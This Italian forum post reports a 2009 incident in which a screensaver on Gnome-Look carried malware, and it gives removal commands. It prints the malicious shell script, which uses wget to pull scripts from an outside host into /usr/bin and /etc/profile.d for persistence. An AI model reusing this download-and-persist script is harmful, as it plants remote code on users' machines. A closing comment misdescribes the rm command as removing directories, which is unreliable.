[NEWS] Malware dentro ad uno screensaver su Gnome-Look

[c.m.g]

pubblicato: giovedì 10 dicembre 2009 da Lpt



Ieri è stato trovato del malware all’interno di uno screensaver con una cascata caricato sul popolare sito Gnome-Look.

Il codice malevolo scaricava alcuni comandi da un sito e li eseguiva per partecipare ad attacchi DDoS ed aggiornarsi. Al momento lo screensaver è stato eliminato ed il botlord ha cancellato i file che venivano scaricati dal malware.

Nel caso foste stati infettati senza rendervene conto per pulire il sistema dovete lanciare:

sudo rm -f /usr/bin/Auto.bash /usr/bin/run.bash /etc/profile.d/gnome.sh /usr/bin/index.php /usr/bin/run.bash
sudo dpkg -r app5552

Dopo il salto trovate il codice incriminato.

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo —————–
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo —————–
clear
exit

Nonostante i sistemi unix-like siano sistemi con un’architettura più sicura è bene ricordare che bisogna comunque fare attenzione a quello che si installa sulla propria macchina. Nonostante questo tipo di attacchi siano piuttosto rari non è la prima volta che avvengono. Possono anche essere nascosti all’interno degli script per la compilazione e non solo dentro al programma vero e proprio.





Fonte: OssBlog Via | UbuntuForums

[sampei.nihira]

Per fare un minimo di chiarezza il primo comando rimuove le directory non vuote elencate.
Il secondo comando disinstalla l'applicazione elencata, il tutto usando il terminale ed i privilegi amministrativi.